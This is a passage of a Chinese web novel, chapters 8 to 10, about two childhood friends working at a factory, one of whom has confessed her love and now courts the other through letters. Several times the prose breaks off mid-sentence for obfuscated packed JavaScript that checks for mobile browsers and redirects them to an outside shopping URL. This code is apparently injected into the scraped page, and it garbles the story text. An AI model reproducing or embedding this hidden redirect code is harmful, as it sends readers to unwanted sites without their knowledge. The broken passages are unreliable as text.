但是她走的时候,白露早早地跑来送她,还送给她一大盒剥好的柚子,让她在火车上吃。 不仅如此,白露不光自己要发小脾气,还总嫌她脾气太好,一旦自己做错事情了,倘若她不发脾气,就要替她发,狠狠地骂上自己一顿。 比如她那次回来,特地给白露买了南方的芒果和香蕉,特地买的最青的,生怕在火车上坏了,幸好回去之后不仅没坏,还熟透了,白露吃了一大口香蕉,替她骂自己,郑白露你真是个小气鬼,往后不许再无理取闹了! 小气鬼郑白露。她想,失落消失了,变成丝丝缕缕的暖意。郑白露永远是这样的小气鬼。 说是不要自己说,其实心里……大概没那么生气了吧? 她还是想和自己做朋友的,即使知道了自己那份爱慕,她还是愿意和自己做朋友的。 郑白露坐在后座上,逞了一时口舌之快,心里忍不住地有点懊悔。 怎么那么小气鬼呢,一点长进都没有!她使劲骂了自己两句,郑白露小气鬼! 她下意识地想搂住池竹的腰,可这会儿还处在战争期间,更何况自己刚才刚嘴硬拒绝了池竹的示好,只好用手攥住了这棵竹子的无袖背心下摆。 你心软什么呢?她又开始骂自己,这和以前能一样吗?这可和以前那种小打小闹不一样!这是朋友和同事的分岔路口! 她们可从小一块长大的!结果现在疏远成这样,怪谁!她从大专回来,最期待见到的就是池竹,结果这棵瘦竹子直到最后才和自己说了那一句话,她的心都凉透了。 自行车刚进这大栅栏胡同,一只小猫蹿了出来,郑白露惊喜地叫了一声:“火烧!” 池竹停下车子,郑白露伸手把那只小猫抱了起来,这只小猫算得上半个家养的,很爱干净,身上三种颜色,黑白橘都有,还有鱼骨样的纹路,现在长得十分貌美,小时候看起来可是烟熏火燎的,这才被郑白露起名叫火烧。 “你这臭小猫,跑哪去了两天没见到你!”郑白露一本正经地批评它,“下次再乱跑!就乖乖待在这儿不许乱动了!我要禁足你!” 火烧通人性似的,郑白露说一句,它喵一声,一副诚心忏悔的样子,逗得郑白露心花怒放。 火烧也认识池竹,对着她喵喵两声。毕竟这猫得算她们两个人一块养大的,当时这只小猫流浪到大杂院郑白露家的院子里,兴奋的小白露第一时间去叫她,从那往后,两人恨不能每顿吃饭都剩下一点精华来喂火烧,把一只小火烧喂的是膘肥体壮。 池竹伸手,揉了揉小猫脑袋,郑白露瞧了一眼那只手,真细,手背上全是骨头。 明明这人看着胳膊上还有点肌肉,怎么能瘦成这样?那点虚虚的肌肉包的全是骨头? 池竹推着车子,和郑白露进了院子,郑小芳一看俩孩子是一块回来的,惊喜万分,这是和好了? 她不疑有他,马上过去喜洋洋地说:“小池竹也来啦?正好给你盛点菜当晚饭,早上你就没接大妈的饭,这可不行,你说什么自己能做……” 她话还没说完,就见闺女一双眼睛瞪着池竹:“早上你没拿饭?” 不等池竹说话,郑白露拽着她的胳膊,几步把她拉出了门,压低声音道:“你因为咱俩的事迁怒我妈?” 冤枉,哪来的迁怒!池竹被这个词镇住了,她是真不想让郑大妈继续麻烦,还操心她们家的饭,虽然和白露这个事也算一个契机……但是这哪能用迁怒! “我妈一直把你当亲生女儿,你以为是不让她麻烦为她好,其实是伤她的心!”郑白露连珠炮一样,“你什么时候能和你妹妹学学,小橙子在人情世故方面都比你强!让你收下就收下,哪有那么难?过两天去百货,朱姨要送你两斤肠,你就买个猪肉罐头,更何况你带人去给她添奖金,不也算是人情?学习成绩那么好,这方面傻得很!” 她把池竹训了一顿,又把人给拽过来,把车筐里的粉肠塞到她手里:“行了,给橙子买的,煎了吃了,别在这儿磨磨唧唧的。” 她嘀嘀咕咕:“都瘦成干了。” 池竹被她说得一颗心一阵阵地发烫,用力地嗯了一声,刚要说话,郑白露说:“再说谢谢试试看?” 等池竹走了,郑小芳问:“你俩这算是和好了?” “和哪门子好?”郑白露拎着蒜肠进屋,“同事而已!” 池橙早听见了动静,这会儿正在门口探头探脑,火烧也翘着尾巴跑了过去,很活泼地跳到了她的怀里。 “火烧!”池橙也很惊喜,她一边把鼻子怼到小猫软绵绵的毛里吸个不停,一边问姐姐:“是粉肠吗!” “是啊。”池竹揉了揉她小脑袋,“等我煎一煎,给郑大妈送一盒过去。” 粉肠里加了一些鸭油,煎着吃特别香,她盛了一饭盒,把围裙也摘了,也不让池橙代送了,自己端着过去,走到半路,就见郑白露手里也拿着个饭盒,见她过来,白露站在原地不动了,也不说话,就看着她。 池竹走到她面前,把饭盒递过去:“这是我刚刚煎的粉肠。” 白露也把手里的饭盒递给她,甚至都不是惜字如金,而是简单地点了点头。 池竹现在才想到,白露每天早上那敷衍的一点头,可能并不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705308|189181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 决定从今往后和她做陌路人,那所谓名义上的“朋友”了,而是保不好是心里还藏着气呢。 明明前两天自己的天刚塌,现在又被结结实实地重建起来,池竹端着饭盒,盖紧的盒盖都挡不住那股蒜香味,她知道,一定是郑大妈的拿手菜,蒜肠炒土豆。 “白露。”见郑白露要走,池竹急匆匆地叫住她,郑白露道:“不是说啦,我现在不想听,更何况你其实没必要解释,我们维持你犯傻之前的关系不好吗?” 她语气轻快,甚至称得上柔软,话里话外却比不想听她解释严肃多了。 池竹心里一凛,脱口而出:“我想和你继续做朋友。” 什么都无所谓了,不管那场愚蠢的告白将会带来什么样的蝴蝶效应,她只有一个想法,继续和白露做朋友。她们从小到大都是最好的朋友,即便不能有爱情,她也永远不要失去这份友情。 火烧从池家院子里跑出来,蹭在郑白露腿边喵喵地表示自己饿了。 郑白露深深地看了池竹一眼,最终还是什么都没说,抱起火烧走了。 小气鬼郑白露!她大骂自己!小气鬼郑白露!你到底别扭什么呢!装什么深沉呢! 池竹望着她的背影,说惆怅不是,说踌躇满志也不是,她只是突然想,那场告白带来的也不完全是坏事。 如果没有那场告白,她和白露的关系绝对要这样无休止地疏远下去,即便她认为她和白露还是朋友又如何?不仅是白露,其实仔细想来,在世俗意义上,她们也不再是朋友了。 她不介意自己主动。谁主动有什么所谓?她主动告的白,主动捅出的漏子,不论结局如何,她愿意一点一点地给补上。 池橙看着电视,在餐桌前等着她吃饭。饭盒一打开,香味四溢。郑大妈有个绝招,和蒜肠一块炒的土豆切成条,外酥里嫩,配上蒜肠吃好吃得不得了。 吃完饭,池橙被池竹撵进去写作业,池竹自己继续拿起妈妈关于计算机的笔记自学,如果不是意外,她是一定会考上大学的,说不定在大学里就学的是计算机,要真是那样的话,改造半自动机床的事也不会这样为难了。 这次的进度顺利很多,妈妈的字迹不再是一团团让她看不清看不懂的黑云,她一点一点在笔记本上写下心得笔记,没一会儿,她停了一停,鬼使神差地把笔记本倒过来,翻开反面空白的最后一页。 白露说她们还不如笔友呢,那她们就从笔友做起,好不好?笔友离朋友的距离,总比同事离朋友的距离要近吧? 她从抽屉里另找了一张信纸,又在笔记本上扯下来一张当草稿纸,在上面一气写了一段话,仔细想想,又全划掉了,就这样写了划,划了写,折腾了好一会儿。 吊扇在天花板上咯吱咯吱地转着,池竹全神贯注,她想写的、想说的话实在太多了,以至于这第一张纸根本不知道先写什么好。 终于,她下定决心,郑重地写上了第一封信的第一个开头:你好,白露。 8. 同事而已8 你好,白露。 这是我第一次和你写信,以前我们每天都见,每天都说许多话,用不着写信,所以现在我写第一封信给你,如果哪写得不好,还请你见谅。 天哪,池竹真的是傻子。郑白露心想,她小时候怎么会那么崇拜池竹呢? 崇拜她每次考试都能得全班第一,崇拜她能轻轻松松地安好自行车的链子,还能把苹果皮削成绵绵延延的一长条,外国有一句话,上帝给人开了一扇窗,必定是关上了一扇门,很显然,那位上帝给池竹关上的就是人情世故的门。 傻得要命了,还请见谅? 她昨天使了坏心眼,今天得让池竹送她过来。她本来以为池竹还是那个一声不吭的德性,没想到车子刚停到车棚里,池竹做贼心虚似的塞给她一个信封,她等到了办公室细看,信封上头干干净净的,只在收件人那儿写了一个名字:白露。 字迹真漂亮,那时候语文老师夸池竹的字,写得非得用一个词来形容,就是清隽。 她一颗心倏然停跳了一下,趁对面的何静敏还没来,赶快小心地拆开,结果刚看第一句话,一个请你见谅劈头盖脸地砸了过来。 傻子。郑白露恨恨地想,在纸面上都不肯亲热一点,我们什么时候能做回无话不谈的好朋友? 门发出吱呀一声响,郑白露吓得立马把信连着信封收到了抽屉里去。何静敏当然是看见了,不过根本没打算多问,倒是郑白露自己不知道为什么做贼心虚,含含糊糊地解释了一句:“有封信我看看。” 她这么一说,何静敏倒是乐了:“是从邮局寄过来的信啊,还是直接放到你桌子上的呢?” 郑白露深觉自己就不该多话,哼哼唧唧地撒娇:“那我哪知道呢?可能是门口大爷收着了热心肠特意放我桌上的也说不好。” 何静敏不逗她了:“今天咱们有的忙呢。” 今天是全厂发薪日,所有人一大早就开始精神振奋,池竹有点庆幸,这样她再心神不宁,其他人也只会以为她是盼着发工资。 也不知道白露看了信没有。她暗暗地想,今早送来了一份新图纸,她得着手算挂轮比,还得先用废料试切,这种事情一向是她来做,厂里的其他老铣工师傅都说,这是个好机会,让她好好把握住锻炼自己。 中午吃饭的点她还忙着这事,连食堂都没去,饭是她师傅侯春霞从锅炉房捎来给她的。 “哪用得着这么拼?”侯春霞把饭盒递给自己这个小徒弟,“总之一个人就干得了一个人的活,没说加班赶进度,咱就不赶,你说是这道理不是?” 池竹知道师傅关心自己,抿嘴笑了笑:“我知道的,就是新图纸,我也想早点做好,看看效果,方便调整。” 她接过饭盒,没第一时间打开,而是看着侯春霞,竟然在期盼她还有话和自己说。 比如白露问你了……之类的。 “看啥呢?”侯春霞摸了摸自己的脸,觉得自己脸上也没脏东西啊,她一锤定音,“快点吃饭吧,等你试切差不多了,财务科的就该过来发工资了。” 谈不上失望,池竹的心平静地落下去。她打开饭盒盖,郑大妈做菜讲究,每顿中饭都是一荤一素,营养均衡。冬天是小咸菜或者咸鸭蛋,夏天就是凉拌菜,每次吃上这样的饭,都让她觉得回到了无忧无虑的学生时期。 妈妈爸爸很忙,那时候她成天去白露家蹭饭,白露坐在她身边,知道她脸皮薄,就一直给她夹菜,如果自己吃慢一点,白露就用那双乌溜溜的漂亮眼睛瞪她。 她吃完,把刷好的饭盒放到自己包里,顺带接了一大杯开水,一边晾着,一边开始试切。 等试切好一个工件,外头传来一阵骚动,是财务科的人搬着桌椅来发工资了。 大家闻声而动,难得在这样的工作日得到了光明正大的休息时间。有谈天说地聊八卦的,有喝水的,有凑到桌前去瞅工资表的。 池竹不远不近地站着,放出目光,和以往一样,很隐蔽地望着郑白露。 她今天穿一件浅青色的连身裙,胸前和裙摆上都没什么花纹和装饰,单是一片薄薄的浅青色,衬得她肤色特别白。这样的距离看不到什么,不过想象得到,如果凑近了看,一定是和手背的血管一样的颜色。 不知道,她看了我的信了吗? 如果看了的话,是什么感想? 如果没看的话,她会看吗? 工资表顺序是固定的,唱到自己还有一会儿,池竹并不担心错过,默默地出神。 “改造半自动机床的事情定了吗?”有人问。 这件事算是厂子里的大事了,工人们大多关心。 “你还不知道吧?”有个消息灵通的就说,“厂长要带人去京城三溪交流学习,到时候咱们厂就要出第一个数控工啦。” 这事情不是什么秘密。池竹那天从厂长办公室出来,第一时间就告诉了自己师傅。 大家聊得热火朝天,池竹听得平平静静。不多一会儿,果然一个男声通情达理地说:“肯定让池竹去啊,她那么不容易,不让她去让谁去?” 这种表善心的事情大家不会错过,纷纷赞同,有人注意到她,还向她投来惋惜的眼神。 有人又说:“要我说咱们厂子那确实是良心,为这事破了不少例,八级工的待遇接了一份,她自己的工资独立出来另算,不是技校毕业,只要技术达到,按技校毕业算,直接让考中级工,要不然去年的厂优工人,也不会……” “行了。”男声表示,“少说两句吧。” “后面说什么呢?”郑白露蹙着眉,扬声道,“谁在那儿发工资还废话那么多?张海成!” 那道男声的主人诶了一声过去了。副厂长张益的儿子张海成,鸣城武关技校毕业,本来认为自己会是厂里最受瞩目,最风光无限的年轻人。 池竹知道,不只是去年的厂优工人,他很多事都对自己耿耿于怀。 侯春霞走到她身边,她对自己的师傅笑了笑,并不在意刚才发生的插曲。 比武大赛她是实打实的第一名,是自己的就是自己的。她这人或许敏感多思,尤其面对白露的时候瞻前顾后,可这种工作上的事情,一码归一码,她只认一个理,就是能力。 “白露,马时兴追你追的连自己姓什么都忘了,结果你一句好话不给他呢?”张海成笑嘻嘻的,“我还等着喝你俩的喜酒呢!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705309|189181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “这么心疼他呀?”郑白露头也不抬,“现在俩男的也能结婚了,你这么心疼自己嫁给他吧,我等着喝你俩的喜酒。” 这下周围是哄堂大笑,张海成气得满脸通红:“瞧把你给傲的,我好心给你介绍对象,真把人好心当成驴肝肺!” “用不着您好心。”郑白露把工资袋丢给他,“有那功夫您少点废话,领工资都不积极,咱真不知道你干什么事还能积极。” 她不再搭理张海成,接着喊下一个名字:“池竹。” 池竹在工资表上是一个特殊的名字,本来大家是按工资等级排,可她的工资太过特殊,相当于一个人领的是两份钱,名字也只好突兀地插在中间。 她俯下身签字,郑白露身上那股略带苦味的香水气味顺着呼吸拂过她脸颊,见她签好字,郑白露把现金取出来,规定要全部当面点清。 厂子能力有限,只给她保留了一位家长的八级工工资,可是除标准工资以外,工龄津贴却给她保留了两份。厂长的这份心,她感念至今。 她的那部分工资有整有零,郑白露细长的手指凑在她眼前,一张张地给她点清楚,硬币也一枚枚地数清,又问她:“要存钱吗?” 每次发工资,鸣城银行都会过来一位业务员,让她们方便存钱。 池竹惯例要存进去一半,她打算存进去的钱,专供池橙上大学用。 郑白露把剩下的钱,连带各种票据整整齐齐地给她装进工资袋里递给她。池竹接过,回到车间装到自己的工具包里。 她一方面是想再打磨打磨新件,一方面是存了点私心。下班的号声响了,财务科发不完工资不能下班,大家收到工资都结伴走了,要么买点好吃的,要么去台球房舞厅玩,只有她等到了最后,听到桌椅声就快步过去,主动道:“我帮你们吧。” 何静敏拎起自己面前的椅子:“好呀,那我先把椅子拿回去。”说完,停也不停地回办公室了。 郑白露见她走得毫不留恋,心里头泛上点臊。何姐这是什么意思呢?为我俩创造机会呢?我俩就是同事,她创造哪门子机会呢? 她后知后觉地想,何姐搞不好以为自己今天读的就是池竹的信呢。 这冲谁说理去,她读的还真就是池竹的信! 池竹帮她把桌子搬了回去,何静敏不知道什么速度,她俩过去的时候已经收拾好了包,飞一样地离开了。 郑白露朝何静敏挥了挥手,看池竹轻松地把桌子放回了财务科办公室。她忍不住想,看来这人那点肌肉还是有实际效用的,不纯是虚架子。 她把椅子放到原位,就见池竹站在她身边,站得很直,一棵很清瘦,也很秀丽的竹子。乌黑的眼仁瞧着她,一手拿着工具包,一手很乖地贴着裤缝,就那么安静的,眼睛里又有点期待地看着她。 她读得懂池竹眼里的含义,她们最好的那段时间,心有灵犀也没问题。 池竹根本不在乎今天大家明里暗里的那些微妙的恶意,不知是锻炼出的一颗强心脏,抑或是其他原因,她看着自己,只在乎一件事。 白露,你有没有读我的信呢? 那是我很认真,很用心写的一封信哦! 9. 同事而已9 郑白露丝毫不怀疑一件事,倘若不是因为妹妹,池竹或许不会愿意要那份沉甸甸的额外工资。那份染着血泪的,每次唱出名字和钱数,都仿佛尖刀一样的优待。 池竹期待的眼神亮晶晶的,她低了低睫毛,故意硬起心肠:“你今天是不是又切新图纸加班了?” “啊?”池竹有点惊讶她怎么会了解,点了点头,“今天是有份新图纸送过来。” “你是真不明白那些人什么意思啊?”郑白露道,她本该义愤填膺的,莫名其妙的,讲话的声音都放低了,“苦活都留给你干,成果他们享受,好像是叫你出了风头……” 池竹怎么能不明白白露未尽的话呢?好像是叫自己出了风头,实际上多少人明里暗里已经对她不满了? 如果说工资还在其次,等级提升,厂优工人,这些实打实的好处……还有厂内年轻工人代表的名头,师傅没和自己挑明过,不过她也清楚,这个很光彩的虚名不是白白叫她担的。 老工人躲在虚名背后拿实权,新图纸也是这样,说什么锻炼不锻炼的,是人家乐得清闲。 “我知道的。”池竹说,她望着郑白露,不想让她担心。“新图纸我愿意做,提高技术的事情我都愿意做。有些事情,本来就是不方便挑明的,咱们控制不了别人的想法,起码行得端坐得正,不怕别人说。” “你真知道呢?”郑白露说,把包挽在胳膊上,嘀嘀咕咕,“你最好是真知道呢。” 她真是纳了闷了,这个池竹这会儿聪明得不得了,和她在一块的时候,怎么能那么傻的?要是告完白也有这个坦然劲,不如说要是从她大专毕业回来就有这个坦然劲,那她俩至于在这儿同事而已吗? “真知道啊。”池竹和她并肩去车棚,不知道是又犯傻,还是很乖地说,“我真知道啊。” “知道就知道呗。”郑白露懒得搭理她了。两人骑上自行车,就这么一块回家。池竹的一颗心跟着车子起起伏伏,白露怎么还不提信的事情呢? 她一会儿后悔,一会儿局促,一会儿踌躇满志,一会儿心灰意冷,这一路郑白露不吭声,她恨不能独自在内心演完一整部《上海滩》。 车子进了胡同,火烧这只小猫被郑白露批评过后非常听话,一见郑白露回来,马上钻过来喵喵叫。 郑白露把自行车撂到自己家门口,伸手把火烧揽到怀里,也不进门,就这么捋着小猫背上柔软的长毛逗它:“今天知道来等我啦?闻到味,知道我家做鱼呢?” 池竹也下了车,扶住车把在门口站定了,她不太愿意走,为了防止尴尬,一双眼睛专心致志地瞅着正撒娇的火烧。 “一直盯着干什么?”郑白露瞥她一眼,“给你搂会儿?” 池竹还没反应过来,郑白露把这只大彩狸一下塞到了她的怀里。 这下池竹真是手忙脚乱,她本来两手扶着车把,这下一手搂猫,一手着急忙慌地把车子摆正,靠在自己腰边,总算是把这条大火烧给结结实实地搂住了。 郑白露看她这样,就坏心眼地笑了:“小时候那么一点,现在怎么那么胖呢?” 池竹掂量了掂量,中肯地评价道:“那是因为火烧是长毛的,看起来胖,但抱着很合适,是很健康的体重。” 郑白露也不知道怎么回事,她本来就不生气了,今天看了信更不生气了,反而觉得池竹哪哪都有点好玩,手忙脚乱的样子好玩,一本正经的样子也好玩。 她还没想好,不过已经决定好了,如果池竹持之以恒地给自己写信,那她不会怎么为难这棵瘦竹子的,她们要很快和好,继续做一对好朋友,得把疏远的那些时光全都弥补过来才行。 对了,自己也得给她写信,自己也有歉要对她表,比如自己很小气,孩子心性,不能够很好地体谅她,还有……做朋友,其实算得上是对池竹的一种拒绝。 池竹犹犹豫豫的,想着如何开口好,幸好能顺理成章地借着猫多踌躇一会儿,郑白露细长的手伸过来,在她怀里揉着火烧的小脑袋。 那双点钱、拨算盘的手在阳光底下显得更白,血管和裙子一色,薄薄地闪着一点透明的光。 池竹匆匆转开视线,刚一偏头,郑白露的手移到她肩膀上,轻轻地推了她一把:“把火烧给我,你回家吧。” “现在?”池竹小小地愣了,一只手赶忙证明似的捋起火烧的毛来,“我想多跟火烧玩会儿。” “不然呢?”郑白露好整以暇地瞧着她,“橙子估计也回家了吧,结果你个当姐的,在外面偷偷玩猫呢。” 池竹这下挺认真地反驳她:“这和偷偷不沾边,更何况就在家门口呢。” 郑白露又被她逗笑了,薄红的嘴唇勾起来,笑意盈盈的:“怎么不沾边呢,离得再近这也是我家门口,在你自家门口才不叫偷偷呢。” 高中时期向来都是第一名的池竹不和她讨论偷偷的定义了,还在一门心思地摸猫,郑白露又用手轻轻地推了她一把:“快走了,火烧都要被你摸秃了。” 池竹深觉自己留下来的借口已经越来越少,这会儿刚六点,一轮太阳还恨不能高悬天上,晒得她额角出了一层湿漉漉的热汗,心脏也跟着湿漉漉的跳,好像每一跳,都有一股滚烫的鲜血泵到头脸上来一样。 终于,郑白露从她怀里把小猫也抱了出来,她彻底没理由留下了。 她心一横,还没等说出话来,郑白露用手按住她的肩膀,将她的身子往家门的方向一转:“回家吧。” 白露对她说:“明天可别忘了给我啊。” 池竹一怔,心跳停了一拍,旋即不受控制地狂跳起来。 “我不会忘的。”她说,一边往前走,一边回了一点头向后看,郑白露正用指尖点着火烧的鼻头,大约是这只小猫又淘气,白露威胁它呢。 池竹几步跨到了自家的小院里,没想到妹妹居然在门口站着,故作深沉地说:“姐,我刚才看到你和白露姐在外面待了好一会儿。” “我俩和火烧玩呢。”池竹心情很好,扶着妹妹的肩膀就要把她推进屋里,“好你个橙子,回家第一件事不是写作业,站在门口瞧什么呢?” 一说到作业池橙就怵,马上反驳姐姐:“回家第一件事明明是先洗手!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705310|189181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还挺自觉的。”池竹从善如流,正打算自己也洗洗手,就见小橙子站到自己身边,继续故作深沉,“姐姐,你别瞒着我,我是很愿意批准白露姐当我嫂子的。” 池竹用手扑了自己妹妹一脸水:“不要胡说八道,还你批准,你批准又不管用,这事不得当事人批准啊?” 池橙这下可怜了:“姐,你别为了我不结婚。我今天和吴瑛聊天,吴瑛说她姐姐说你不谈恋爱可能就是因为我。” “这也是胡说八道。”池竹揉了揉妹妹的小脑袋,这两年她拒绝了不少相亲,诚然有池橙的因素,不过她是姐姐,照顾妹妹理所应当的,这算什么牺牲?更何况不是白露,她谁也不愿意。 “这种话根本别放在心上。”池竹郑重地和妹妹说,“橙子,姐姐不恋爱和你一点关系都没有,没遇到有缘分的,怎么能随便恋爱结婚?谁都知道这个道理的,宁缺毋滥。” 池橙仰脸瞧着她,很显然被她说服了:“嗯,我姐姐就是这样一个,嗯,挑剔的人。” “这词不是那么用的!”池竹无奈了,“你这语文成绩,什么时候能提得上去呀!” 她今天很有精神和斗志,吃过饭照例把橙子撵进去写作业之后,她打开抽屉,果然,用来写信的信纸不多了,信封更是一个没有。 正好今天发工资了,她换上鞋,一路小跑到胡同里的小卖部,还没进去,就见一个苗条的身影半倚在玻璃柜台上,正和小卖部龚姨的女儿曹雨谈笑。 没出告白那傻事以前,她根本就没故意疏远白露,一天到晚除了和白露在厂子里见面,其实在胡同里真不是想见就见得到的。 自从出了那傻事,她咋和白露在非工作时间天天见面! 老天这是在帮她,还是在害她? 隔着一层塑料帘子,白露那张漂亮的小脸和乌溜溜的杏眼影影绰绰的,叫人看不分明她的神情。 曹雨大着嗓门:“竹子,进来啊!想买什么过来拿!” 池竹硬着头皮进去,这下她把白露的脸给看清了,抿着唇角,模模糊糊是个笑模样。“要一角山楂皮,再要两块芝麻花生糖。” 这是给池橙的。 曹雨和她妈妈一样手脚麻利,一面切着芝麻糖,一面问:“还要什么?” “要两块硬糖。”这是给自己的,晚上不管是看书还是……含在嘴里,甜丝丝的,多高兴。 “还要其他的不?” 池竹硬着头皮接着说:“嗯……再要一点茶叶吧,家里的快喝完了。” “行啊。”曹雨扯了张报纸给她包了二两,“还要别的不?” 怎么还问呢!池竹真急坏了,谁来小卖部买那么多东西啊! 她硬着头皮接着回答:“再拿一小个蛤蜊油吧。”反正自己那个也快用完了。 “都发工资了买什么蛤蜊油!”曹雨说,“咱用好点的!雪花膏,雅霜的!” “还要什么?”她还问! 池竹没招了。 “信纸,要一沓光面的。”池竹小声说,“还要信封,多拿几个,十个吧。” 10. 同事而已10 “买多点好,不过这样她就一个月不来我这儿光顾了。”等到池竹出去,曹雨道。 郑白露立马抬眼瞧她:“这话什么意思?” 这会儿龚大妈不在店,曹雨趁机开了一瓶汽水:“政策不是改了嘛,我妈问我和不和女孩相亲,我说行啊,有啥不行的,池竹那么靠谱,要不是因为家里不方便,我也挺愿意和她相一相的。” 郑白露仔细琢磨了琢磨她这段话,装作很不经意地问:“家里不方便……池竹因为这个原因推过很多次相亲吗?” “也不算用这个原因推的吧。”曹雨说,“她肯定不能直说家里不方便,意思就是妹妹还小,她现在不想考虑这个事之类的,大家其实心里也都清楚。最开始给她保媒拉纤的可多,她全给拒了,后面大家也知道她的难处,就也不给她添心事了。” 郑白露若有所思,好一会儿,突然和曹雨说:“既然这样,你别打池竹主意了,况且我觉得你俩根本也不合适。” 曹雨真被她逗笑了:“你咋知道我俩不合适呢?” 郑白露一张俊俏的小脸很严肃,头头是道:“池竹是个认真的慢性子,什么事情做来都有条有理,不慌不忙,你咋咋呼呼,大大咧咧,怎么能和她过到一块去?她爱读书,还爱读外国书,斯斯文文的,你一看见铅字就犯困,一遇上生气的事扯嗓子就要上去跟人干架,你说你俩合适不?” 曹雨听她讲了这么一大箩筐,目瞪口呆:“你喜欢池竹就跟我直说呗,在这儿磕碜我那么多是什么意思呢郑白露!” 郑白露这下吓了一跳,大眼睛瞪得圆溜溜的:“曹雨!你少胡说八道!怎么就喜欢了,你说话能不能有点谱,从上学开始就是,成天草稿都不打的,满嘴跑火车!” 曹雨真无语了:“你不喜欢池竹那你可劲挑我俩不合适的地方干嘛呢?咋不挑挑你自己和池竹不合适的地方呢?” 她也讲得头头是道:“说我不爱读书,你就很爱读书啊,你最爱读书的时候就是高中上数学课看那个琼瑶的叫什么月朦胧鸟朦胧。好意思讲我,你比我还泼呢,忘了有回胡同里看见小男孩朝胡同东头的小倩倩丢石子了?你上去一把石子全甩那小男孩脸上了!” “闭嘴!”郑白露恼了,“我不听你胡说八道了!” 她气冲冲地刚打帘子出了门,被外头的夜风一吹,这才觉得自己真是被池竹传染了傻气! 不过她刚才生气才不是为了合适不合适,全怪曹雨磕碜自己了!她双重标准的理直气壮,自己讲的是实话,曹雨讲的就是磕碜! 郑白露慢慢地沿着胡同走,又忍不住想,池竹怎么会偷偷喜欢自己呢?要叫别人知道了,肯定会大吃一惊吧。 她不得不承认,她挺自私的,明明知道和池竹不可能在一起,所谓的做朋友实际上就是明摆着的拒绝,但她真挺乐意池竹喜欢自己的。 池竹是个多好的人呀,她喜欢自己,说明自己也怪好的。 她一向自我感觉良好,可这种暗恋的佐证,和她纯粹的自我感觉是不同的,别有一番甜丝丝的滋味。 池竹买了十个信封,至少要再给自己写十封信,自己到时候怎么不得写上十一封信还回去? 等到她写完这十一封,她们就好好地做朋友,朋友才不像恋爱那么麻烦,才不讲究什么合适不合适的呢。 她思来想去,还是折回去,曹雨没好气:“咋又回来了?” “我也要一沓光面信纸!”郑白露道,“还有十一个信封!” 曹雨这份钱挣得很是疑惑:“你们这到底是要给谁写信啊?” “秘密。”郑白露狡黠地说,这下真一溜烟地走了。 她成绩一直不如池竹好,倒是爱看琼瑶,都把琼瑶倒背如流了语文作文水平也没提上来。郑白露一边写一边对自己小发雷霆,这也就罢了!她恋爱根本也没有谈过一次!更别提琼瑶故事里那种轰轰烈烈热情似火的恋爱了! 她费尽心思,比往常晚睡了大半个小时才把这封信写好,第二天醒得都晚了一点,顾不得接水进来,冲到院子里的水龙头底下洗脸,池竹提着个铁壶过来接水,倒是没想到她在这儿,向她打了个招呼:“白露。” 郑白露心里头油然而生一个念头,她不知道池竹早早地就也这么想了。 以前也是这样抬头不见低头见的距离,可现在,我俩怎么总遇见啊? 郑白露含糊地应了一声,池竹很耐心地等着她,未经思考,顺手就把毛巾从郑白露肩上取下来帮她拿着。 郑白露爱干净,毛巾从不往水龙头上搭,有时候胳膊动作大了就往下滑。以前上学的时候,她总和白露同一时间出来洗脸,等着的时候,就替她拎着毛巾。 这会儿她把毛巾拿到手里才后知后觉地发现真不合适,那点习惯作祟,让她现在拿着也不是,放回去也不是。 郑白露抬起脸,一张脸湿淋淋的,她用冰凉的清水把手臂和脖颈也洗了,同样是习惯性地冲池竹一伸手,把毛巾拿了回来,擦完水,又把毛巾塞回去,随口道:“擦脸油呢?” 池竹把洗手池边那一小盒银耳珍珠霜递过去,郑白露刚把指尖往里一蘸,猛然想到,她和池竹早不是从前的关系了。 “你先走呗。”郑白露把毛巾从池竹手里拿过来,垂着长长的睫毛抹珍珠霜。天气太热了,冰凉的膏体抹到脸上,隐隐约约地发着烫。“我还得一会儿呢。” 余光中,她看到池竹那双浓墨重彩的眼睛闪了闪,黑眼仁里像是泛上一层笑意,一向又乖又体贴的池竹说:“我没等你呀,我等着接水呢。” 郑白露一愣,顿时从脖颈一路烧到了脸颊,她马上收拾起自己的毛巾和珍珠霜,百忙之中不忘瞪了池竹一眼,头也不回,三步两步钻到屋子里头去了。 她怎么那么可爱呢?水哗啦啦地灌进铁壶里,她在这不到一分钟的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 